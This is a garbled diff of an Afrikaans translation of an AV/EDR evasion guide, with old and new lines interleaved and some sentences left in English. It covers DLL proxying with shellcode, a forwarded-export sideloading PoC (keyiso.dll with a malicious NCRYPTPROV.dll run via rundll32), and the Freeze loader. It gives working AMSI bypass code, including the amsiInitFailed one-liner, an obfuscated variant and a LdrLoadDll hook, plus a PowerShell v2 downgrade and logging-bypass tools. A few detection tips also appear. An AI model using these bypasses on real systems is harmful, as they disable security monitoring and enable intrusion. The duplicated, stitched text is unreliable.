**DLL Proxying** stuur die oproepe wat 'n program maak vanaf die proxy (en skadelike) DLL na die oorspronklike DLL deur, waardeur die program se funksionaliteit behoue bly en jy in staat is om die uitvoering van jou payload te hanteer.
**DLL Proxying** stuur die oproepe wat 'n program maak vanaf die proxy (en kwaadwillige) DLL na die oorspronklike DLL deur, sodoende die program se funksionaliteit bewaar en dit moontlik maak om die uitvoering van jou payload te hanteer.
Ek gaan die [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) project van [@flangvik](https://twitter.com/Flangvik/) gebruik
Ek gaan die [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) projek van [@flangvik](https://twitter.com/Flangvik/) gebruik.
Dit is die stappe wat ek gevolg het:
```
@ -98,48 +98,48 @@ Dit is die stappe wat ek gevolg het:
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
```
Die laaste opdrag sal ons 2 lêers gee: 'n DLL-bronkode-sjabloon, en die oorspronklike hernoemde DLL.
Die laaste opdrag sal ons 2 lêers gee: 'n DLL-bronkode-sjabloon en die oorspronklike hernoemde DLL.
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
```
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
```
Hier is die resultate:
Dit is die resultate:
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Albei ons shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) en die proxy DLL het 'n 0/26 deteksiesyfer op [antiscan.me](https://antiscan.me)! Ek sou dit 'n sukses noem.
Beide ons shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) en die proxy DLL het 'n 0/26 Detection rate op [antiscan.me](https://antiscan.me)! Dit sou ek 'n sukses noem.
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Ek **beveel sterk aan** dat jy [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) oor DLL Sideloading kyk en ook [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) om meer in-diepte te leer oor wat ons bespreek het.
> Ek beveel sterk aan dat jy [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) oor DLL Sideloading kyk en ook [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) om meer in-diepte te leer oor wat ons bespreek het.
### Misbruik van Forwarded Exports (ForwardSideLoading)
Windows PE-modules kan funksies exporteer wat eintlik "forwarders" is: in plaas daarvan om na kode te wys, bevat die export entry 'n ASCII string van die vorm `TargetDll.TargetFunc`. Wanneer 'n oproeper die export oplos, sal die Windows loader:
Windows PE modules kan funksies exporteer wat eintlik "forwarders" is: in plaas daarvan om na kode te wys, bevat die exportinskrywing 'n ASCII-string van die vorm `TargetDll.TargetFunc`. Wanneer 'n caller die export oplos, sal die Windows loader:
- Laai `TargetDll` as dit nie reeds gelaai is nie
- Los `TargetFunc` daaruit op
- Laai `TargetDll` indien dit nog nie gelaai is nie
- Los `TargetFunc` daarvan op
Belangrike gedrag om te verstaan:
- As `TargetDll` 'n KnownDLL is, word dit verskaf vanuit die beskermde KnownDLLs namespace (bv. ntdll, kernelbase, ole32).
- Indien `TargetDll` nie 'n KnownDLL is nie, word die normale DLL-soekorde gebruik, wat die gids insluit van die module wat die forward-resolusie uitvoer.
- As `TargetDll` 'n KnownDLL is, word dit vanaf die beskermde KnownDLLs naamruimte voorsien (bv., ntdll, kernelbase, ole32).
- As `TargetDll` nie 'n KnownDLL is nie, word die normale DLL-soekorde gebruik, wat die gids van die module wat die forward resolution doen insluit.
Dit maak 'n indirekte sideloading-primitive moontlik: vind 'n gesigneerde DLL wat 'n funksie eksporteer wat doorgestuur word na 'n nie-KnownDLL modulenaam, en plaas daardie gesigneerde DLL saam in dieselfde gids as 'n deur 'n aanvaller beheerde DLL wat presies dieselfde naam het as die forwarded target module. Wanneer die forwarded export aangeroep word, los die loader die forward op en laai jou DLL vanaf dieselfde gids, wat jou DllMain uitvoer.
Dit maak 'n indirekte sideloading primitive moontlik: vind 'n signed DLL wat 'n funksie exporteer wat forwarded is na 'n nie-KnownDLL module-naam, en plaas daardie signed DLL saam met 'n attacker-controlled DLL met presies dieselfde naam as die forwarded teikenmodule. Wanneer die forwarded export aangeroep word, los die loader die forward op en laai jou DLL vanaf dieselfde gids, wat jou DllMain uitvoer.
Voorbeeld waargeneem op Windows 11:
```
keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
```
`NCRYPTPROV.dll` is nie 'n KnownDLL nie, dus word dit opgelos volgens die normale soekorde.
`NCRYPTPROV.dll` is nie 'n KnownDLL nie, dus word dit deur die normale soekorde opgelos.
PoC (copy-paste):
1) Kopieer die gesigneerde stelsel-DLL na 'n skryfbare gids
```
copy C:\Windows\System32\keyiso.dll C:\test\
```
2) Plaas 'n kwaadwillige `NCRYPTPROV.dll` in dieselfde vouer. 'n Minimale DllMain is genoeg om kode-uitvoering te kry; jy hoef nie die doorgestuurde funksie te implementeer om DllMain te aktiveer nie.
2) Plaas 'n kwaadwillige `NCRYPTPROV.dll` in dieselfde gids. 'n Minimale DllMain is genoeg om kode-uitvoering te kry; jy hoef nie die doorgestuurde funksie te implementeer om DllMain te aktiveer nie.
```c
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
#include <windows.h>
@ -151,19 +151,19 @@ if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&
return TRUE;
}
```
3) Ontlok die forward met 'n gesigneerde LOLBin:
3) Aktiveer die deurstuur met 'n ondertekende LOLBin:
```
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
```
Waargenome gedrag:
- rundll32 (gesigneer) laai die side-by-side `keyiso.dll` (gesigneer)
- Terwyl dit `KeyIsoSetAuditingInterface` oplos, volg die lader die forward na `NCRYPTPROV.SetAuditingInterface`
- Die lader laai dan `NCRYPTPROV.dll` vanaf `C:\test` en voer sy `DllMain` uit
- As `SetAuditingInterface` nie geïmplementeer is nie, kry jy slegs 'n "missing API" fout nadat `DllMain` reeds geloop het
- rundll32 (signed) loads the side-by-side `keyiso.dll` (signed)
- Terwyl die loader `KeyIsoSetAuditingInterface` oplos, volg die loader die forward na `NCRYPTPROV.SetAuditingInterface`
- Die loader laai dan `NCRYPTPROV.dll` vanaf `C:\test` en voer sy `DllMain` uit
- As `SetAuditingInterface` nie geïmplementeer is nie, sal jy eers 'missing API' fout kry nadat `DllMain` reeds uitgevoer is
Jagwenke:
- Fokus op forwarded exports waar die teikenmodule nie 'n KnownDLL is nie. KnownDLLs word gelys onder `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
- Jy kan forwarded exports opnoem met gereedskap soos:
- Fokus op forwarded exports waar die target module nie 'n KnownDLL is nie. KnownDLLs word opgenoem onder `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
- Jy kan forwarded exports opsom met tooling soos:
```
dumpbin /exports C:\Windows\System32\keyiso.dll
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
@ -171,15 +171,15 @@ dumpbin /exports C:\Windows\System32\keyiso.dll
- Sien die Windows 11 forwarder-inventaris om na kandidate te soek: https://hexacorn.com/d/apis_fwd.txt
Opsporings-/verdedigingsidees:
- Monitor LOLBins (bv., rundll32.exe) wat gesigneerde DLLs van nie-stelselpaaie laai, gevolg deur die laai van nie-KnownDLLs met dieselfde basisnaam uit daardie gids
- Waarsku op proses-/modulekettings soos: `rundll32.exe` → nie-stelsel `keyiso.dll` → `NCRYPTPROV.dll` onder gebruikerskryfbare paaie
- Handhaaf code-integriteitsbeleide (WDAC/AppLocker) en weier skryf+uitvoer in toepassingsgidse
- Monitor LOLBins (bv., rundll32.exe) wat ondertekende DLLs vanaf nie-stelselpaadjies laai, gevolg deur die laai van nie-KnownDLLs met dieselfde basisnaam vanaf daardie gids
- Waarsku by proses-/modulekettings soos: `rundll32.exe` → nie-stelsel `keyiso.dll` → `NCRYPTPROV.dll` onder gebruikers-skryfbare paadjies
- Dwing kode-integriteitsbeleid (WDAC/AppLocker) af en weier skryf+uitvoering in toepassingsgidse
## [**Freeze**](https://github.com/optiv/Freeze)
`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
Jy kan Freeze gebruik om jou shellcode op 'n onopvallende wyse te laai en uit te voer.
Jy kan Freeze gebruik om jou shellcode op 'n diskrete wyse te laai en uit te voer.
```
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
@ -189,43 +189,43 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Evasion is net 'n kat-en-muis-speletjie — wat vandag werk kan môre opgespoor word, so moenie net op een tool staatmaak nie; indien moontlik, probeer om verskeie evasion techniques aaneen te skakel.
> Ontduiking is net 'n kat & muisspeletjie; wat vandag werk kan môre ontdek word, moenie net op een hulpmiddel staatmaak nie — indien moontlik, probeer om verskeie evasion-tegnieke te ketting.
## AMSI (Anti-Malware Scan Interface)
AMSI is geskep om "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)" te voorkom. Aanvanklik kon AVs slegs **files on disk** skandeer, so as jy op een of ander manier payloads **directly in-memory** kon uitvoer, kon die AV niks doen nie omdat dit nie genoeg sigbaarheid gehad het.
AMSI was created to prevent "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Aanvanklik kon AV's slegs **lêers op skyf** skandeer, so as jy op een of ander manier payloads **direk in geheue** kon uitvoer, kon die AV niks doen om dit te voorkom nie, aangesien dit nie genoeg sigbaarheid gehad het.
The AMSI feature is integrated into these components of Windows.
Die AMSI-funksie is geïntegreer in die volgende Windows-komponente.
- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
- PowerShell (scripts, interactive use, and dynamic code evaluation)
- User Account Control, or UAC (elevasie van EXE, COM, MSI, of ActiveX-installasie)
- PowerShell (scripts, interaktiewe gebruik, en dinamiese kode-evaluering)
- Windows Script Host (wscript.exe and cscript.exe)
- JavaScript and VBScript
- Office VBA macros
Dit laat antivirus-oplossings toe om skripgedrag te inspekteer deur skripinhoud beskikbaar te stel in 'n vorm wat nie gekodeer of obfuskeer is nie.
Dit laat antivirusoplossings toe om skripgedrag te ondersoek deur skripinhoud bloot te lê in 'n vorm wat nie geënkripteer en nie geobfuskeer is nie.
Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` will produce the following alert on Windows Defender.
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
Let daarop hoe dit `amsi:` voorvoeg en dan die pad na die uitvoerbare lêer waarvan die skrip gehardloop het, in hierdie geval, powershell.exe
Notice how it prepends `amsi:` and then the path to the executable from which the script ran, in this case, powershell.exe
Ons het niks na die skyf geskryf nie, maar is steeds in-memory vasgevang vanweë AMSI.
Ons het geen lêer op skyf neergesit nie, maar is steeds in-geheue opgespoor weens AMSI.
Verder, beginend met **.NET 4.8**, word C# kode ook deur AMSI geloop. Dit beïnvloed selfs `Assembly.Load(byte[])` vir in-memory uitvoering. Daarom word dit aanbeveel om laer weergawes van .NET (soos 4.7.2 of laer) te gebruik vir in-memory uitvoering as jy AMSI wil ontduik.
Boonop word C#-kode sedert **.NET 4.8** ook deur AMSI verwerk. Dit raak selfs `Assembly.Load(byte[])` wat gebruik word vir in-memory lading. Daarom word dit aanbeveel om laer weergawes van .NET (soos 4.7.2 of laer) te gebruik vir in-memory uitvoering as jy AMSI wil ontduik.
Daar is 'n paar maniere om rondom AMSI te werk:
There are a couple of ways to get around AMSI:
- **Obfuscation**
Aangesien AMSI hoofsaaklik met static detections werk, kan dit 'n goeie manier wees om die skripte wat jy probeer laai te wysig om detectie te ontduik.
Since AMSI mainly works with static detections, therefore, modifying the scripts you try to load can be a good way for evading detection.
AMSI het egter die vermoë om skripte te de-obfuskeer selfs al het dit meerdere lae, so obfuscation kan 'n slegte opsie wees, afhangend van hoe dit gedoen word. Dit maak dit nie altyd reguit om te ontduik nie. Soms hoef jy net 'n paar veranderlike name te verander en jy is reg, so dit hang daarvan af hoe ernstig iets gemerk is.
However, AMSI has the capability of deobfuscating scripts even if it has multiple layers, so obfuscation could be a bad option depending on how it's done. This makes it not-so-straightforward to evade. Although, sometimes, all you need to do is change a couple of variable names and you'll be good, so it depends on how much something has been flagged.
- **AMSI Bypass**
Aangesien AMSI geïmplementeer word deur 'n DLL in die powershell (ook cscript.exe, wscript.exe, ens.) proses te laad, is dit moontlik om dit maklik te manipuleer, selfs terwyl jy as 'n ongereguleerde gebruiker werk. As gevolg van hierdie tekortkoming in die implementering van AMSI, het navorsers verskeie maniere gevind om AMSI-skandering te ontduik.
Aangesien AMSI geïmplementeer word deur 'n DLL in die powershell (ook cscript.exe, wscript.exe, ens.) proses te laai, is dit moontlik om dit maklik te manipuleer selfs wanneer jy as 'n ongeprivilegieerde gebruiker werk. As gevolg van hierdie fout in die implementering van AMSI het navorsers verskeie maniere gevind om AMSI-skandering te ontduik.
**Forcing an Error**
@ -233,9 +233,9 @@ Forcing the AMSI initialization to fail (amsiInitFailed) will result that no sca
```bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
Al wat dit geverg het, was een reël powershell-kode om AMSI onbruikbaar te maak vir die huidige powershell-proses. Hierdie reël is natuurlik deur AMSI self gevlag, so 'n aanpassing is nodig om hierdie tegniek te gebruik.
Alles wat nodig was, was een reël powershell code om AMSI onbruikbaar te maak vir die huidige powershell proses. Hierdie reël is natuurlik deur AMSI self gevlag, so 'n paar wysigings is nodig om hierdie tegniek te kan gebruik.
Hier is 'n aangepaste AMSI bypass wat ek geneem het van hierdie [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
Hier is 'n aangepaste AMSI bypass wat ek van hierdie [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) geneem het.
```bash
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
@ -249,78 +249,113 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
Hou in gedagte dat dit waarskynlik gevlag sal word sodra hierdie pos uitkom, so moet jy geen kode publiseer as jou plan is om onopgemerk te bly.
Hou in gedagte dat dit waarskynlik gemerk sal word sodra hierdie plasing uitkom, dus moet jy geen code publiseer as jou plan is om onopgemerk te bly.
**Memory Patching**
Hierdie tegniek is aanvanklik ontdek deur [@RastaMouse](https://twitter.com/_RastaMouse/) en dit behels die vind van die adres vir die "AmsiScanBuffer" funksie in amsi.dll (verantwoordelik vir die skandering van die user-supplied input) en dit oorskryf met instruksies om die kode vir E_INVALIDARG terug te gee; op hierdie manier sal die uitslag van die werklike skandering 0 teruggee, wat as 'n skoon resultaat geïnterpreteer word.
This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
> [!TIP]
> Lees asseblief [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) vir 'n meer gedetailleerde verklaring.
> Lees asseblief [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) vir 'n meer gedetailleerde verduideliking.
Daar is ook baie ander tegnieke wat gebruik word om AMSI met powershell te omseil — kyk na [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) en [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) om meer daaroor te leer.
There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them.
Hierdie hulpmiddel [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) genereer ook 'n skrip om AMSI te omseil.
### Blokkeer AMSI deur die laai van amsi.dll te voorkom (LdrLoadDll hook)
AMSI word eers geïnitialiseer nadat `amsi.dll` in die huidige proses gelaai is. 'n Robuuste, taalonafhanklike bypass is om 'n user‑mode hook op `ntdll!LdrLoadDll` te plaas wat 'n fout teruggee wanneer die aangevraagde module `amsi.dll` is. As gevolg daarvan laai AMSI nooit en vind geen skanderings vir daardie proses plaas nie.
Implementasie-oorsig (x64 C/C++ pseudokode):
```c
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE);
static pLdrLoadDll realLdrLoadDll;
NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){
if (module && module->Buffer){
UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll");
if (RtlEqualUnicodeString(module, &amsi, TRUE)){
// Pretend the DLL cannot be found → AMSI never initialises in this process
return STATUS_DLL_NOT_FOUND; // 0xC0000135
}
}
return realLdrLoadDll(path, flags, module, handle);
}
void InstallHook(){
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
// Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll
// e.g., Microsoft Detours / MinHook / custom 14‑byte jmp thunk
}
```
Aantekeninge
- Werk oor PowerShell, WScript/CScript en aangepaste loaders heen (alles wat anders AMSI sou laai).
- Kombineer dit met die voering van skripte oor stdin (`PowerShell.exe -NoProfile -NonInteractive -Command -`) om lang opdragreël-artefakte te vermy.
- Gesien gebruik deur loaders wat via LOLBins uitgevoer word (bv., `regsvr32` wat `DllRegisterServer` aanroep).
Hierdie hulpmiddel [https://github.com/Flangvik/AMSI.fail](https://github.com/Flangvik/AMSI.fail) genereer ook skripte om AMSI te omseil.
**Verwyder die gedetekteerde handtekening**
Jy kan 'n hulpmiddel soos **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** en **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** gebruik om die gedetekteerde AMSI-handtekening uit die geheue van die huidige proses te verwyder. Hierdie hulpmiddel werk deur die geheue van die huidige proses vir die AMSI-handtekening te skandeer en dit dan met NOP-instruksies oor te skryf, wat dit effektief uit die geheue verwyder.
Jy kan 'n hulpmiddel soos **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** en **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** gebruik om die gedetekteerde AMSI-handtekening uit die geheue van die huidige proses te verwyder. Hierdie hulpmiddel werk deur die geheue van die huidige proses te deursoek vir die AMSI-handtekening en dit dan met NOP-instruksies te oorskryf, wat dit effektief uit die geheue verwyder.
**AV/EDR products that uses AMSI**
Jy kan 'n lys van AV/EDR-produkte wat AMSI gebruik vind by **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
Jy kan 'n lys van AV/EDR-produkte wat AMSI gebruik vind in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
**Gebruik Powershell weergawe 2**
As jy PowerShell weergawe 2 gebruik, sal AMSI nie gelaai word nie, sodat jy jou skripte kan uitvoer sonder dat AMSI dit skandeer. Jy kan dit so doen:
**Use Powershell version 2**
As jy PowerShell weergawe 2 gebruik, sal AMSI nie gelaai word nie, sodat jy jou skripte kan uitvoer sonder dat AMSI dit skandeer. Jy kan dit doen:
```bash
powershell.exe -version 2
```
## PS Logging
PowerShell logging is a feature that allows you to log all PowerShell commands executed on a system. This can be useful for auditing and troubleshooting purposes, but it can also be a **problem for attackers who want to evade detection**.
PowerShell logging is 'n funksie wat jou in staat stel om alle PowerShell-opdragte wat op 'n stelsel uitgevoer word, te registreer. Dit kan nuttig wees vir ouditering en foutopsporing, maar dit kan ook 'n **probleem vir attackers wat detection wil ontduik** wees.
To bypass PowerShell logging, you can use the following techniques:
- **Disable PowerShell Transcription and Module Logging**: Jy kan 'n instrument soos [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) hiervoor gebruik.
- **Use Powershell version 2**: As jy PowerShell version 2 gebruik, sal AMSI nie gelaai word nie, so jy kan jou skripte laat loop sonder om deur AMSI geskan te word. Jy kan dit doen: `powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**: Gebruik [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) om 'n powershell te spawn sonder verdediging (dit is wat `powerpick` from Cobal Strike uses).
- **Disable PowerShell Transcription and Module Logging**: Jy kan 'n tool soos [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) hiervoor gebruik.
- **Use Powershell version 2**: As jy PowerShell version 2 gebruik, sal AMSI nie gelaai word nie, sodat jy jou skripte kan uitvoer sonder dat AMSI dit scan. Doen dit so: `powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**: Gebruik [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) om 'n PowerShell-sessie sonder verdediging te spawn (dit is wat `powerpick` van Cobal Strike gebruik).
## Obfuscation
> [!TIP]
> Verskeie obfuscation-tegnieke berus op die enkriptering van data, wat die entropie van die binêre sal verhoog en dit vir AVs en EDRs makliker maak om dit op te spoor. Wees versigtig hiermee en pas enkripsie moontlik slegs toe op spesifieke gedeeltes van jou kode wat sensitief is of verberg moet word.
> Verskeie obfuscation-tegnieke maak staat op die enkripsie van data, wat die entropy van die binary verhoog en dit vir AVs en EDRs makliker maak om dit te detect. Wees versigtig hiermee en oorweeg om enkripsie slegs op spesifieke sensitiewe of verborge dele van jou kode toe te pas.
### Deobfuscating ConfuserEx-Protected .NET Binaries
When analysing malware that uses ConfuserEx 2 (or commercial forks) it is common to face several layers of protection that will block decompilers and sandboxes. The workflow below reliably **restores a near–original IL** that can afterwards be decompiled to C# in tools such as dnSpy or ILSpy.
Wanneer jy malware ontleed wat ConfuserEx 2 (of kommersiële forks) gebruik, is dit algemeen om verskeie beskermingslae te tref wat dekompilers en sandboxes sal blokkeer. Die onderstaande workflow herstel betroubaar 'n naby‑oorspronklike IL wat daarna na C# gedecompileer kan word in gereedskap soos dnSpy of ILSpy.
1. Anti-tampering removal – ConfuserEx encrypts every *method body* and decrypts it inside the *module* static constructor (`<Module>.cctor`). This also patches the PE checksum so any modification will crash the binary. Use **AntiTamperKiller** to locate the encrypted metadata tables, recover the XOR keys and rewrite a clean assembly:
1. Anti-tampering removal – ConfuserEx enkripteer elke *method body* en dekripteer dit in die *module* static constructor (`<Module>.cctor`). Dit patched ook die PE checksum, sodat enige wysiging die binary laat crash. Gebruik **AntiTamperKiller** om die enkripteerde metadata-tabelle te lokaliseer, die XOR-sleutels te herstel en 'n skoon assembly te skryf:
```bash
# https://github.com/wwh1004/AntiTamperKiller
python AntiTamperKiller.py Confused.exe Confused.clean.exe
```
Output contains the 6 anti-tamper parameters (`key0-key3`, `nameHash`, `internKey`) that can be useful when building your own unpacker.
Output bevat die 6 anti-tamper parameters (`key0-key3`, `nameHash`, `internKey`) wat nuttig kan wees wanneer jy jou eie unpacker bou.
2. Symbol / control-flow recovery – feed the *clean* file to **de4dot-cex** (a ConfuserEx-aware fork of de4dot).
2. Symbol / control-flow recovery – voer die *clean* lêer aan **de4dot-cex** (a ConfuserEx-aware fork of de4dot).
```bash
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
```
Flags:
• `-p crx` – kies die ConfuserEx 2 profile
• de4dot sal control-flow flattening ongedaan maak, oorspronklike namespaces, classes en veranderlike name herstel en konstante stringe dekripteer.
• `-p crx` – kies die ConfuserEx 2 profiel
• de4dot sal control-flow flattening ongedaan maak, oorspronklike namespaces, classes en variable name herstel en konstante strings dekripteer.
3. Proxy-call stripping – ConfuserEx replaces direct method calls with lightweight wrappers (a.k.a *proxy calls*) to further break decompilation. Remove them with **ProxyCall-Remover**:
3. Proxy-call stripping – ConfuserEx vervang direkte method calls met light-weight wrappers (a.k.a *proxy calls*) om dekompilasie verder te bemoeilik. Verwyder dit met **ProxyCall-Remover**:
```bash
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
```
After this step you should observe normal .NET API such as `Convert.FromBase64String` or `AES.Create()` instead of opaque wrapper functions (`Class8.smethod_10`, …).
Na hierdie stap behoort jy normale .NET API's te sien soos `Convert.FromBase64String` of `AES.Create()` in plaas van ondoorgrondelike wrapper-funksies (`Class8.smethod_10`, …).
4. Manual clean-up – run the resulting binary under dnSpy, search for large Base64 blobs or `RijndaelManaged`/`TripleDESCryptoServiceProvider` use to locate the *real* payload. Often the malware stores it as a TLV-encoded byte array initialised inside `<Module>.byte_0`.
4. Manual clean-up – voer die resulterende binary in dnSpy uit, soek na groot Base64 blobs of `RijndaelManaged`/`TripleDESCryptoServiceProvider` gebruik om die *werklike* payload te vind. Dikwels berg die malware dit as 'n TLV-gekodeerde byte-array wat binne `<Module>.byte_0` geïnitialiseer is.
The above chain restores execution flow **without** needing to run the malicious sample – useful when working on an offline workstation.
Die bogenoemde ketting herstel die uitvoeringsvloei **sonder** dat jy die kwaadwillige monster hoef uit te voer — nuttig wanneer jy op 'n offline workstation werk.
> 🛈 ConfuserEx produces a custom attribute named `ConfusedByAttribute` that can be used as an IOC to automatically triage samples.
> 🛈 ConfuserEx produseer 'n custom attribute met die naam `ConfusedByAttribute` wat as 'n IOC gebruik kan word om monsters outomaties te triage.
#### One-liner
```bash
@ -329,37 +364,37 @@ autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
---
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Die doel van hierdie projek is om 'n open-source fork van die [LLVM](http://www.llvm.org/) compilation suite te verskaf wat verhoogde sagteware-sekuriteit deur middel van code obfuscation en tamper-proofing moontlik maak.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstreer hoe om die `C++11/14` taal te gebruik om, tydens die kompileerfase, obfuscated code te genereer sonder om enige eksterne hulpmiddel te gebruik en sonder om die compiler te wysig.
- [**obfy**](https://github.com/fritzone/obfy): Voeg 'n laag obfuscated operations by wat deur die C++ template metaprogramming framework gegenereer word, wat die lewe van iemand wat die toepassing wil crack 'n bietjie moeiliker sal maak.
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Die doel van hierdie projek is om 'n open-source fork van die [LLVM](http://www.llvm.org/) samestelling-suite te verskaf wat verhoogde sagteware-sekuriteit deur [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) en tamper-proofing kan bied.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstreer hoe om die `C++11/14` taal te gebruik om tydens samestelling obfuscated code te genereer sonder om enige eksterne hulpmiddel te gebruik en sonder om die compiler te wysig.
- [**obfy**](https://github.com/fritzone/obfy): Voeg 'n laag van obfuscated operations by wat gegenereer word deur die C++ template metaprogramming framework, wat die lewe van die persoon wat die toepassing wil crack 'n bietjie moeiliker sal maak.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is 'n x64 binary obfuscator wat verskeie verskillende pe files kan obfuscate, insluitend: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame is 'n eenvoudige metamorphic code engine vir arbitraire executables.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is 'n fine-grained code obfuscation framework vir LLVM-supported languages wat ROP (return-oriented programming) gebruik. ROPfuscator obfuscates 'n program op assembly code vlak deur gewone instruksies te transformeer in ROP chains, wat ons natuurlike begrip van normale control flow frustreer.
- [**metame**](https://github.com/a0rtega/metame): Metame is 'n eenvoudige metamorphic code engine vir arbitrêre uitvoerbare lêers.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is 'n fynkorrelige code obfuscation framework vir LLVM-supported languages wat ROP (return-oriented programming) gebruik. ROPfuscator obfuscates 'n program op die assembly code vlak deur gewone instruksies in ROP chains te transformeer, wat ons natuurlike konsep van normale control flow ondermyn.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is 'n .NET PE Crypter geskryf in Nim
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor kan bestaande EXE/DLL in shellcode omskakel en dit dan laai
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor kan bestaande EXE/DLL na shellcode omskakel en dit dan laai
## SmartScreen & MoTW
You may have seen this screen when downloading some executables from the internet and executing them.
